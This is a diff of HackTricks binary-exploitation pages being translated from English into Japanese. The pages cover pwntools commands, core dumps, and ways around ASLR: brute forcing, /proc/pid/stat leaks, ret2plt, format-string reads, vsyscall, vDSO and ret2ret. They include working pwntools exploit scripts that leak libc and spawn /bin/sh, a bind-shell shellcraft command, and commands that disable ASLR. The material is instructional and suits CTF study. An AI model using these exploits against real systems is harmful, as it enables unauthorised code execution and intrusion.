pwn hex hola #Get hex of "hola" ascii pwn hex hola #Get hex of "hola" ascii
``` ```
## Pwn phd ## Pwn phd
Get hexdump hexdumpを取得する
``` ```
pwn phd <file> pwn phd <file>
``` ```
**選択可能:**
**Can select:** - 表示するバイト数
- 行ごとのハイライトバイト数
- Number of bytes to show - 開始時にスキップするバイト数
- Number of bytes per line highlight byte
- Skip bytes at beginning
## Pwn pwnstrip ## Pwn pwnstrip
@ -122,8 +102,7 @@ pwn phd <file>
## Pwn shellcraft ## Pwn shellcraft
Get shellcodes シェルコードを取得する
``` ```
pwn shellcraft -l #List shellcodes pwn shellcraft -l #List shellcodes
pwn shellcraft -l amd #Shellcode with amd in the name pwn shellcraft -l amd #Shellcode with amd in the name
@ -131,46 +110,39 @@ pwn shellcraft -f hex amd64.linux.sh #Create in C and run
pwn shellcraft -r amd64.linux.sh #Run to test. Get shell pwn shellcraft -r amd64.linux.sh #Run to test. Get shell
pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port
``` ```
**選択可能:**
**Can select:** - シェルコードとシェルコードの引数
- 出力ファイル
- 出力形式
- デバッグシェルコードにdbgをアタッチ
- 前(コードの前にデバッグトラップ)
- 後
- オペコードの使用を避ける(デフォルト: nullおよび改行なし
- シェルコードを実行
- カラー/ノーカラー
- システムコールのリスト
- 可能なシェルコードのリスト
- 共有ライブラリとしてELFを生成
- shellcode and arguments for the shellcode ## Pwnテンプレート
- Out file
- output format
- debug (attach dbg to shellcode)
- before (debug trap before code)
- after
- avoid using opcodes (default: not null and new line)
- Run the shellcode
- Color/no color
- list syscalls
- list possible shellcodes
- Generate ELF as a shared library
## Pwn template
Get a python template
Pythonテンプレートを取得
``` ```
pwn template pwn template
``` ```
**選択可能:** ホスト、ポート、ユーザー、パス、パス、クワイエット
**Can select:** host, port, user, pass, path and quiet
## Pwn unhex ## Pwn unhex
From hex to string 16進数から文字列へ
``` ```
pwn unhex 686f6c61 pwn unhex 686f6c61
``` ```
## Pwn 更新
## Pwn update pwntoolsを更新するには
To update pwntools
``` ```
pwn update pwn update
``` ```
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,35 +1,29 @@
# Common Binary Exploitation Protections & Bypasses # コモンバイナリエクスプロイテーションプロテクションとバイパス
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Enable Core files ## コアファイルの有効化
**Core files** are a type of file generated by an operating system when a process crashes. These files capture the memory image of the crashed process at the time of its termination, including the process's memory, registers, and program counter state, among other details. This snapshot can be extremely valuable for debugging and understanding why the crash occurred. **コアファイル**は、プロセスがクラッシュしたときにオペレーティングシステムによって生成されるファイルの一種です。これらのファイルは、プロセスの終了時のメモリイメージをキャプチャし、プロセスのメモリ、レジスタ、およびプログラムカウンタの状態など、他の詳細を含みます。このスナップショットは、デバッグやクラッシュの原因を理解するために非常に価値があります。
### **Enabling Core Dump Generation** ### **コアダンプ生成の有効化**
By default, many systems limit the size of core files to 0 (i.e., they do not generate core files) to save disk space. To enable the generation of core files, you can use the **`ulimit`** command (in bash or similar shells) or configure system-wide settings. デフォルトでは、多くのシステムはディスクスペースを節約するためにコアファイルのサイズを0に制限していますつまり、コアファイルを生成しません。コアファイルの生成を有効にするには、**`ulimit`**コマンドbashや類似のシェルでを使用するか、システム全体の設定を構成します。
- **Using ulimit**: The command `ulimit -c unlimited` allows the current shell session to create unlimited-sized core files. This is useful for debugging sessions but is not persistent across reboots or new sessions.
- **ulimitの使用**: コマンド`ulimit -c unlimited`は、現在のシェルセッションが無制限のサイズのコアファイルを作成できるようにします。これはデバッグセッションに便利ですが、再起動や新しいセッションでは持続しません。
```bash ```bash
ulimit -c unlimited ulimit -c unlimited
``` ```
- **永続的な設定**: より永続的な解決策として、`/etc/security/limits.conf` ファイルを編集して `* soft core unlimited` のような行を追加することができます。これにより、すべてのユーザーがセッション内で手動で ulimit を設定することなく、無制限のサイズのコアファイルを生成できるようになります。
- **Persistent Configuration**: For a more permanent solution, you can edit the `/etc/security/limits.conf` file to include a line like `* soft core unlimited`, which allows all users to generate unlimited size core files without having to set ulimit manually in their sessions.
```markdown ```markdown
- soft core unlimited - soft core unlimited
``` ```
### **GDBを使用したコアファイルの分析**
### **Analyzing Core Files with GDB** コアファイルを分析するには、GDBGNUデバッガなどのデバッグツールを使用できます。コアダンプを生成した実行可能ファイルがあり、コアファイルの名前が`core_file`であると仮定すると、分析を開始するには次のようにします:
To analyze a core file, you can use debugging tools like GDB (the GNU Debugger). Assuming you have an executable that produced a core dump and the core file is named `core_file`, you can start the analysis with:
```bash ```bash
gdb /path/to/executable /path/to/core_file gdb /path/to/executable /path/to/core_file
``` ```
このコマンドは、実行可能ファイルとコアファイルをGDBにロードし、クラッシュ時のプログラムの状態を検査できるようにします。GDBコマンドを使用してスタックを探索し、変数を調べ、クラッシュの原因を理解することができます。
This command loads the executable and the core file into GDB, allowing you to inspect the state of the program at the time of the crash. You can use GDB commands to explore the stack, examine variables, and understand the cause of the crash.
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -2,107 +2,92 @@
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
## Basic Information ## 基本情報
**Address Space Layout Randomization (ASLR)** is a security technique used in operating systems to **randomize the memory addresses** used by system and application processes. By doing so, it makes it significantly harder for an attacker to predict the location of specific processes and data, such as the stack, heap, and libraries, thereby mitigating certain types of exploits, particularly buffer overflows. **アドレス空間配置のランダム化 (ASLR)** は、オペレーティングシステムで使用されるセキュリティ技術で、**システムおよびアプリケーションプロセスによって使用されるメモリアドレスをランダム化**します。これにより、攻撃者が特定のプロセスやデータ(スタック、ヒープ、ライブラリなど)の位置を予測することが非常に困難になり、特にバッファオーバーフローなどの特定のタイプのエクスプロイトを軽減します。
### **Checking ASLR Status** ### **ASLRの状態を確認する**
To **check** the ASLR status on a Linux system, you can read the value from the **`/proc/sys/kernel/randomize_va_space`** file. The value stored in this file determines the type of ASLR being applied: LinuxシステムでASLRの状態を**確認**するには、**`/proc/sys/kernel/randomize_va_space`**ファイルから値を読み取ります。このファイルに保存されている値は、適用されるASLRのタイプを決定します
- **0**: No randomization. Everything is static. - **0**: ランダム化なし。すべてが静的です。
- **1**: Conservative randomization. Shared libraries, stack, mmap(), VDSO page are randomized. - **1**: 保守的なランダム化。共有ライブラリ、スタック、mmap()、VDSOページがランダム化されます。
- **2**: Full randomization. In addition to elements randomized by conservative randomization, memory managed through `brk()` is randomized. - **2**: 完全なランダム化。保守的なランダム化によってランダム化された要素に加えて、`brk()`を通じて管理されるメモリがランダム化されます。
You can check the ASLR status with the following command:
次のコマンドでASLRの状態を確認できます
```bash ```bash
cat /proc/sys/kernel/randomize_va_space cat /proc/sys/kernel/randomize_va_space
``` ```
### **ASLRの無効化**
### **Disabling ASLR** ASLRを**無効化**するには、`/proc/sys/kernel/randomize_va_space`の値を**0**に設定します。ASLRを無効化することは、一般的にテストやデバッグのシナリオ以外では推奨されません。以下は、無効化する方法です
To **disable** ASLR, you set the value of `/proc/sys/kernel/randomize_va_space` to **0**. Disabling ASLR is generally not recommended outside of testing or debugging scenarios. Here's how you can disable it:
```bash ```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
``` ```
実行のためにASLRを無効にすることもできます:
You can also disable ASLR for an execution with:
```bash ```bash
setarch `arch` -R ./bin args setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args setarch `uname -m` -R ./bin args
``` ```
### **ASLRの有効化**
### **Enabling ASLR** ASLRを**有効化**するには、`/proc/sys/kernel/randomize_va_space`ファイルに**2**の値を書き込むことができます。これには通常、root権限が必要です。完全なランダム化は、次のコマンドで行うことができます
To **enable** ASLR, you can write a value of **2** to the `/proc/sys/kernel/randomize_va_space` file. This typically requires root privileges. Enabling full randomization can be done with the following command:
```bash ```bash
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
``` ```
### **再起動を跨いだ持続性**
### **Persistence Across Reboots** `echo` コマンドで行った変更は一時的であり、再起動時にリセットされます。変更を持続させるには、`/etc/sysctl.conf` ファイルを編集し、以下の行を追加または修正する必要があります:
Changes made with the `echo` commands are temporary and will be reset upon reboot. To make the change persistent, you need to edit the `/etc/sysctl.conf` file and add or modify the following line:
```tsconfig ```tsconfig
kernel.randomize_va_space=2 # Enable ASLR kernel.randomize_va_space=2 # Enable ASLR
# or # or
kernel.randomize_va_space=0 # Disable ASLR kernel.randomize_va_space=0 # Disable ASLR
``` ```
`/etc/sysctl.conf`を編集した後、次のコマンドで変更を適用します:
After editing `/etc/sysctl.conf`, apply the changes with:
```bash ```bash
sudo sysctl -p sudo sysctl -p
``` ```
これにより、再起動後もASLR設定が維持されます。
This will ensure that your ASLR settings remain across reboots. ## **バイパス**
## **Bypasses** ### 32ビットブルートフォース
### 32bit brute-forcing PaXはプロセスアドレス空間を**3つのグループ**に分けます:
PaX divides the process address space into **3 groups**: - **コードとデータ**(初期化済みおよび未初期化):`.text``.data`、および`.bss` —> `delta_exec`変数に**16ビット**のエントロピー。この変数は各プロセスでランダムに初期化され、初期アドレスに加算されます。
- `mmap()`によって割り当てられた**メモリ**および**共有ライブラリ** —> **16ビット**`delta_mmap`と呼ばれます。
- **スタック** —> **24ビット**`delta_stack`と呼ばれます。ただし、実際には**11ビット**10バイト目から20バイト目までを含むを使用し、**16バイト**に整列されています —> これにより、**524,288の実際のスタックアドレス**が可能になります。
- **Code and data** (initialized and uninitialized): `.text`, `.data`, and `.bss` —> **16 bits** of entropy in the `delta_exec` variable. This variable is randomly initialized with each process and added to the initial addresses. 前述のデータは32ビットシステム用であり、最終的なエントロピーが減少することで、エクスプロイトが成功するまで実行を何度も再試行することでASLRをバイパスすることが可能になります。
- **Memory** allocated by `mmap()` and **shared libraries** —> **16 bits**, named `delta_mmap`.
- **The stack** —> **24 bits**, referred to as `delta_stack`. However, it effectively uses **11 bits** (from the 10th to the 20th byte inclusive), aligned to **16 bytes** —> This results in **524,288 possible real stack addresses**.
The previous data is for 32-bit systems and the reduced final entropy makes possible to bypass ASLR by retrying the execution once and again until the exploit completes successfully. #### ブルートフォースのアイデア:
#### Brute-force ideas:
- If you have a big enough overflow to host a **big NOP sled before the shellcode**, you could just brute-force addresses in the stack until the flow **jumps over some part of the NOP sled**.
- Another option for this in case the overflow is not that big and the exploit can be run locally is possible to **add the NOP sled and shellcode in an environment variable**.
- If the exploit is local, you can try to brute-force the base address of libc (useful for 32bit systems):
- シェルコードの前に**大きなNOPスレッド**をホストするのに十分なオーバーフローがある場合、スタック内のアドレスをブルートフォースして、フローが**NOPスレッドの一部を飛び越える**まで試すことができます。
- オーバーフローがそれほど大きくなく、エクスプロイトをローカルで実行できる場合は、**環境変数にNOPスレッドとシェルコードを追加する**ことが可能です。
- エクスプロイトがローカルである場合、libcのベースアドレスをブルートフォースすることを試みることができます32ビットシステムに便利です
```python ```python
for off in range(0xb7000000, 0xb8000000, 0x1000): for off in range(0xb7000000, 0xb8000000, 0x1000):
``` ```
- リモートサーバーを攻撃する場合、**`libc`関数`usleep`のアドレスをブルートフォースする**ことを試みることができます。引数として10を渡します例えば。もしある時点で**サーバーが応答するのに10秒余分にかかる**場合、その関数のアドレスを見つけたことになります。
- If attacking a remote server, you could try to **brute-force the address of the `libc` function `usleep`**, passing as argument 10 (for example). If at some point the **server takes 10s extra to respond**, you found the address of this function.
> [!TIP] > [!TIP]
> In 64bit systems the entropy is much higher and this shouldn't possible. > 64ビットシステムではエントロピーがはるかに高く、これは不可能であるべきです。
### 64 bits stack brute-forcing ### 64ビットスタックのブルートフォース
It's possible to occupy a big part of the stack with env variables and then try to abuse the binary hundreds/thousands of times locally to exploit it.\
The following code shows how it's possible to **just select an address in the stack** and every **few hundreds of executions** that address will contain the **NOP instruction**:
環境変数でスタックの大部分を占有し、その後、バイナリをローカルで何百回、何千回も悪用しようとすることが可能です。\
以下のコードは、**スタック内のアドレスを選択するだけで**、**数百回の実行ごとに**そのアドレスが**NOP命令**を含むことができる方法を示しています。
```c ```c
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie //clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h> #include <stdio.h>
int main() { int main() {
unsigned long long address = 0xffffff1e7e38; unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address; unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr; unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value); printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0; return 0;
} }
``` ```
@ -117,70 +102,68 @@ shellcode_env_var = nop * n_nops
# Define the environment variables you want to set # Define the environment variables you want to set
env_vars = { env_vars = {
'a': shellcode_env_var, 'a': shellcode_env_var,
'b': shellcode_env_var, 'b': shellcode_env_var,
'c': shellcode_env_var, 'c': shellcode_env_var,
'd': shellcode_env_var, 'd': shellcode_env_var,
'e': shellcode_env_var, 'e': shellcode_env_var,
'f': shellcode_env_var, 'f': shellcode_env_var,
'g': shellcode_env_var, 'g': shellcode_env_var,
'h': shellcode_env_var, 'h': shellcode_env_var,
'i': shellcode_env_var, 'i': shellcode_env_var,
'j': shellcode_env_var, 'j': shellcode_env_var,
'k': shellcode_env_var, 'k': shellcode_env_var,
'l': shellcode_env_var, 'l': shellcode_env_var,
'm': shellcode_env_var, 'm': shellcode_env_var,
'n': shellcode_env_var, 'n': shellcode_env_var,
'o': shellcode_env_var, 'o': shellcode_env_var,
'p': shellcode_env_var, 'p': shellcode_env_var,
} }
cont = 0 cont = 0
while True: while True:
cont += 1 cont += 1
if cont % 10000 == 0: if cont % 10000 == 0:
break break
print(cont, end="\r") print(cont, end="\r")
# Define the path to your binary # Define the path to your binary
binary_path = './aslr-testing' binary_path = './aslr-testing'
try: try:
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True) process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
output = process.communicate()[0] output = process.communicate()[0]
if "0xd5" in str(output): if "0xd5" in str(output):
print(str(cont) + " -> " + output) print(str(cont) + " -> " + output)
except Exception as e: except Exception as e:
print(e) print(e)
print(traceback.format_exc()) print(traceback.format_exc())
pass pass
``` ```
<figure><img src="../../../images/image (1214).png" alt="" width="563"><figcaption></figcaption></figure> <figure><img src="../../../images/image (1214).png" alt="" width="563"><figcaption></figcaption></figure>
### Local Information (`/proc/[pid]/stat`) ### ローカル情報 (`/proc/[pid]/stat`)
The file **`/proc/[pid]/stat`** of a process is always readable by everyone and it **contains interesting** information such as: プロセスのファイル **`/proc/[pid]/stat`** は常に誰でも読み取ることができ、**興味深い**情報が含まれています:
- **startcode** & **endcode**: Addresses above and below with the **TEXT** of the binary - **startcode** & **endcode**: バイナリの**TEXT**の上と下のアドレス
- **startstack**: The address of the start of the **stack** - **startstack**: **スタック**の開始アドレス
- **start_data** & **end_data**: Addresses above and below where the **BSS** is - **start_data** & **end_data**: **BSS**の上と下のアドレス
- **kstkesp** & **kstkeip**: Current **ESP** and **EIP** addresses - **kstkesp** & **kstkeip**: 現在の**ESP**と**EIP**アドレス
- **arg_start** & **arg_end**: Addresses above and below where **cli arguments** are. - **arg_start** & **arg_end**: **cli arguments**の上と下のアドレス
- **env_start** &**env_end**: Addresses above and below where **env variables** are. - **env_start** &**env_end**: **env variables**の上と下のアドレス
Therefore, if the attacker is in the same computer as the binary being exploited and this binary doesn't expect the overflow from raw arguments, but from a different **input that can be crafted after reading this file**. It's possible for an attacker to **get some addresses from this file and construct offsets from them for the exploit**. したがって、攻撃者がエクスプロイトされているバイナリと同じコンピュータにいる場合、このバイナリが生の引数からのオーバーフローを期待していないが、このファイルを読み取った後に作成できる別の**入力からのオーバーフローを期待している場合**、攻撃者はこのファイルから**いくつかのアドレスを取得し、それらからオフセットを構築してエクスプロイトを行う**ことが可能です。
> [!TIP] > [!TIP]
> For more info about this file check [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) searching for `/proc/pid/stat` > このファイルに関する詳細は、[https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html)`/proc/pid/stat`を検索してください。
### Having a leak ### リークを持つこと
- **The challenge is giving a leak** - **課題はリークを提供することです**
If you are given a leak (easy CTF challenges), you can calculate offsets from it (supposing for example that you know the exact libc version that is used in the system you are exploiting). This example exploit is extract from the [**example from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (check that page for more details):
リークが与えられた場合簡単なCTFチャレンジ、それからオフセットを計算することができます例えば、エクスプロイトしているシステムで使用されている正確なlibcバージョンを知っていると仮定します。この例のエクスプロイトは、[**ここからの例**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak)から抜粋されています(詳細はそのページを確認してください):
```python ```python
from pwn import * from pwn import *
@ -195,20 +178,19 @@ libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}') log.success(f'LIBC base: {hex(libc.address)}')
payload = flat( payload = flat(
'A' * 32, 'A' * 32,
libc.sym['system'], libc.sym['system'],
0x0, # return address 0x0, # return address
next(libc.search(b'/bin/sh')) next(libc.search(b'/bin/sh'))
) )
p.sendline(payload) p.sendline(payload)
p.interactive() p.interactive()
``` ```
- **ret2plt** - **ret2plt**
Abusing a buffer overflow it would be possible to exploit a **ret2plt** to exfiltrate an address of a function from the libc. Check: バッファオーバーフローを悪用することで、**ret2plt**を利用してlibcの関数のアドレスを抽出することが可能です。確認してください:
{{#ref}} {{#ref}}
ret2plt.md ret2plt.md
@ -216,8 +198,7 @@ ret2plt.md
- **Format Strings Arbitrary Read** - **Format Strings Arbitrary Read**
Just like in ret2plt, if you have an arbitrary read via a format strings vulnerability it's possible to exfiltrate te address of a **libc function** from the GOT. The following [**example is from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got): ret2pltと同様に、フォーマット文字列の脆弱性を介して任意の読み取りが可能であれば、GOTから**libc関数**のアドレスを抽出することができます。以下の[**例はここから**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got):
```python ```python
payload = p32(elf.got['puts']) # p64() if 64-bit payload = p32(elf.got['puts']) # p64() if 64-bit
payload += b'|' payload += b'|'
@ -228,8 +209,7 @@ payload += b'%3$s' # The third parameter points at the start of the
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main']) payload += p32(elf.symbols['main'])
``` ```
フォーマット文字列の任意の読み取りに関する詳細情報は次の場所で見つけることができます:
You can find more info about Format Strings arbitrary read in:
{{#ref}} {{#ref}}
../../format-strings/ ../../format-strings/
@ -237,7 +217,7 @@ You can find more info about Format Strings arbitrary read in:
### Ret2ret & Ret2pop ### Ret2ret & Ret2pop
Try to bypass ASLR abusing addresses inside the stack: スタック内のアドレスを悪用してASLRをバイパスしようとします
{{#ref}} {{#ref}}
ret2ret.md ret2ret.md
@ -245,13 +225,12 @@ ret2ret.md
### vsyscall ### vsyscall
The **`vsyscall`** mechanism serves to enhance performance by allowing certain system calls to be executed in user space, although they are fundamentally part of the kernel. The critical advantage of **vsyscalls** lies in their **fixed addresses**, which are not subject to **ASLR** (Address Space Layout Randomization). This fixed nature means that attackers do not require an information leak vulnerability to determine their addresses and use them in an exploit.\ **`vsyscall`** メカニズムは、特定のシステムコールをユーザースペースで実行できるようにすることでパフォーマンスを向上させますが、これらは基本的にカーネルの一部です。**vsyscall** の重要な利点は、**ASLR**(アドレス空間配置のランダム化)の影響を受けない**固定アドレス**にあります。この固定性により、攻撃者はアドレスを特定し、エクスプロイトで使用するために情報漏洩の脆弱性を必要としません。\
However, no super interesting gadgets will be find here (although for example it's possible to get a `ret;` equivalent) ただし、ここでは特に興味深いガジェットは見つかりません(例えば、`ret;` の同等物を取得することは可能ですが)。
(The following example and code is [**from this writeup**](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html#exploitation)) (以下の例とコードは [**この書き込みから**](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html#exploitation) です)
For instance, an attacker might use the address `0xffffffffff600800` within an exploit. While attempting to jump directly to a `ret` instruction might lead to instability or crashes after executing a couple of gadgets, jumping to the start of a `syscall` provided by the **vsyscall** section can prove successful. By carefully placing a **ROP** gadget that leads execution to this **vsyscall** address, an attacker can achieve code execution without needing to bypass **ASLR** for this part of the exploit.
例えば、攻撃者はエクスプロイト内でアドレス `0xffffffffff600800` を使用するかもしれません。`ret` 命令に直接ジャンプしようとすると、いくつかのガジェットを実行した後に不安定になったりクラッシュしたりする可能性がありますが、**vsyscall** セクションによって提供される `syscall` の開始地点にジャンプすることは成功する可能性があります。この**vsyscall** アドレスへの実行を導く**ROP**ガジェットを慎重に配置することで、攻撃者はこのエクスプロイトの部分で**ASLR**をバイパスすることなくコード実行を達成できます。
``` ```
ef➤ vmmap ef➤ vmmap
Start End Offset Perm Path Start End Offset Perm Path
@ -282,20 +261,19 @@ gef➤ x/8g 0xffffffffff600000
0xffffffffff600020: 0xcccccccccccccccc 0xcccccccccccccccc 0xffffffffff600020: 0xcccccccccccccccc 0xcccccccccccccccc
0xffffffffff600030: 0xcccccccccccccccc 0xcccccccccccccccc 0xffffffffff600030: 0xcccccccccccccccc 0xcccccccccccccccc
gef➤ x/4i 0xffffffffff600800 gef➤ x/4i 0xffffffffff600800
0xffffffffff600800: mov rax,0x135 0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall 0xffffffffff600807: syscall
0xffffffffff600809: ret 0xffffffffff600809: ret
0xffffffffff60080a: int3 0xffffffffff60080a: int3
gef➤ x/4i 0xffffffffff600800 gef➤ x/4i 0xffffffffff600800
0xffffffffff600800: mov rax,0x135 0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall 0xffffffffff600807: syscall
0xffffffffff600809: ret 0xffffffffff600809: ret
0xffffffffff60080a: int3 0xffffffffff60080a: int3
``` ```
### vDSO ### vDSO
Note therefore how it might be possible to **bypass ASLR abusing the vdso** if the kernel is compiled with CONFIG_COMPAT_VDSO as the vdso address won't be randomized. For more info check: したがって、カーネルが CONFIG_COMPAT_VDSO でコンパイルされている場合、**vdso を悪用して ASLR をバイパスする**ことが可能であることに注意してください。vdso アドレスはランダム化されません。詳細については、次を確認してください:
{{#ref}} {{#ref}}
../../rop-return-oriented-programing/ret2vdso.md ../../rop-return-oriented-programing/ret2vdso.md

View File

@ -2,40 +2,37 @@
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
## Basic Information ## 基本情報
The goal of this technique would be to **leak an address from a function from the PLT** to be able to bypass ASLR. This is because if, for example, you leak the address of the function `puts` from the libc, you can then **calculate where is the base of `libc`** and calculate offsets to access other functions such as **`system`**. この技術の目的は、**PLTから関数のアドレスを漏洩させる**ことでASLRをバイパスすることです。例えば、libcから関数`puts`のアドレスを漏洩させると、**`libc`のベースがどこにあるかを計算**し、**`system`**などの他の関数にアクセスするためのオフセットを計算できます。
This can be done with a `pwntools` payload such as ([**from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got)):
これは、`pwntools`ペイロードを使用して行うことができます([**こちらから**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got)
```python ```python
# 32-bit ret2plt # 32-bit ret2plt
payload = flat( payload = flat(
b'A' * padding, b'A' * padding,
elf.plt['puts'], elf.plt['puts'],
elf.symbols['main'], elf.symbols['main'],
elf.got['puts'] elf.got['puts']
) )
# 64-bit # 64-bit
payload = flat( payload = flat(
b'A' * padding, b'A' * padding,
POP_RDI, POP_RDI,
elf.got['puts'] elf.got['puts']
elf.plt['puts'], elf.plt['puts'],
elf.symbols['main'] elf.symbols['main']
) )
``` ```
**`puts`**PLTからのアドレスを使用が、GOTグローバルオフセットテーブルにある`puts`のアドレスで呼び出されることに注意してください。これは、`puts``puts`のGOTエントリを印刷する時点で、この**エントリがメモリ内の`puts`の正確なアドレスを含む**ためです。
Note how **`puts`** (using the address from the PLT) is called with the address of `puts` located in the GOT (Global Offset Table). This is because by the time `puts` prints the GOT entry of puts, this **entry will contain the exact address of `puts` in memory**. また、エクスプロイトで`main`のアドレスが使用されていることに注意してください。これにより、`puts`が実行を終了すると、**バイナリが終了するのではなく`main`を再度呼び出します**(したがって、漏洩したアドレスは有効なままになります)。
Also note how the address of `main` is used in the exploit so when `puts` ends its execution, the **binary calls `main` again instead of exiting** (so the leaked address will continue to be valid).
> [!CAUTION] > [!CAUTION]
> Note how in order for this to work the **binary cannot be compiled with PIE** or you must have **found a leak to bypass PIE** in order to know the address of the PLT, GOT and main. Otherwise, you need to bypass PIE first. > これが機能するためには、**バイナリはPIEでコンパイルされていない必要があります**、または**PIEをバイパスするための漏洩を見つける必要があります**。そうしないと、最初にPIEをバイパスする必要があります。
You can find a [**full example of this bypass here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). This was the final exploit from that **example**:
この[**バイパスの完全な例はこちらにあります**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass)。これはその**例**からの最終的なエクスプロイトでした:
```python ```python
from pwn import * from pwn import *
@ -46,10 +43,10 @@ p = process()
p.recvline() p.recvline()
payload = flat( payload = flat(
'A' * 32, 'A' * 32,
elf.plt['puts'], elf.plt['puts'],
elf.sym['main'], elf.sym['main'],
elf.got['puts'] elf.got['puts']
) )
p.sendline(payload) p.sendline(payload)
@ -61,22 +58,21 @@ libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}') log.success(f'LIBC base: {hex(libc.address)}')
payload = flat( payload = flat(
'A' * 32, 'A' * 32,
libc.sym['system'], libc.sym['system'],
libc.sym['exit'], libc.sym['exit'],
next(libc.search(b'/bin/sh\x00')) next(libc.search(b'/bin/sh\x00'))
) )
p.sendline(payload) p.sendline(payload)
p.interactive() p.interactive()
``` ```
## その他の例と参考文献
## Other examples & References
- [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html) - [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
- 64 bit, ASLR enabled but no PIE, the first step is to fill an overflow until the byte 0x00 of the canary to then call puts and leak it. With the canary a ROP gadget is created to call puts to leak the address of puts from the GOT and the a ROP gadget to call `system('/bin/sh')` - 64ビット、ASLRが有効だがPIEなし、最初のステップはカナリアのバイト0x00までオーバーフローを埋めてからputsを呼び出して漏洩させることです。カナリアを使ってROPガジェットを作成し、putsを呼び出してGOTからputsのアドレスを漏洩させ、その後`system('/bin/sh')`を呼び出すROPガジェットを作成します。
- [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html) - [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html)
- 64 bits, ASLR enabled, no canary, stack overflow in main from a child function. ROP gadget to call puts to leak the address of puts from the GOT and then call an one gadget. - 64ビット、ASLRが有効、カナリアなし、子関数からmainへのスタックオーバーフロー。ROPガジェットを使ってputsを呼び出し、GOTからputsのアドレスを漏洩させ、その後one gadgetを呼び出します。
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}

View File

@ -4,27 +4,27 @@
## Ret2ret ## Ret2ret
The main **goal** of this technique is to try to **bypass ASLR by abusing an existing pointer in the stack**. この技術の主な**目的**は、**スタック内の既存のポインタを悪用してASLRをバイパスしようとすること**です。
Basically, stack overflows are usually caused by strings, and **strings end with a null byte at the end** in memory. This allows to try to reduce the place pointed by na existing pointer already existing n the stack. So if the stack contained `0xbfffffdd`, this overflow could transform it into `0xbfffff00` (note the last zeroed byte). 基本的に、スタックオーバーフローは通常文字列によって引き起こされ、**文字列はメモリ内の最後にヌルバイトで終わります**。これにより、スタック内に既に存在するポインタが指す場所を減らすことができます。したがって、スタックに`0xbfffffdd`が含まれている場合、このオーバーフローはそれを`0xbfffff00`に変えることができます(最後のゼロバイトに注意)。
If that address points to our shellcode in the stack, it's possible to make the flow reach that address by **adding addresses to the `ret` instruction** util this one is reached. そのアドレスがスタック内のシェルコードを指している場合、**`ret`命令にアドレスを追加することでそのアドレスにフローを到達させる**ことが可能です。
Therefore the attack would be like this: したがって、攻撃は次のようになります:
- NOP sled - NOPスレッド
- Shellcode - シェルコード
- Overwrite the stack from the EIP with **addresses to `ret`** (RET sled) - **`ret`へのアドレスでEIPからスタックを上書きする**RETスレッド
- 0x00 added by the string modifying an address from the stack making it point to the NOP sled - スタックのアドレスを指すようにするために文字列によって追加された0x00
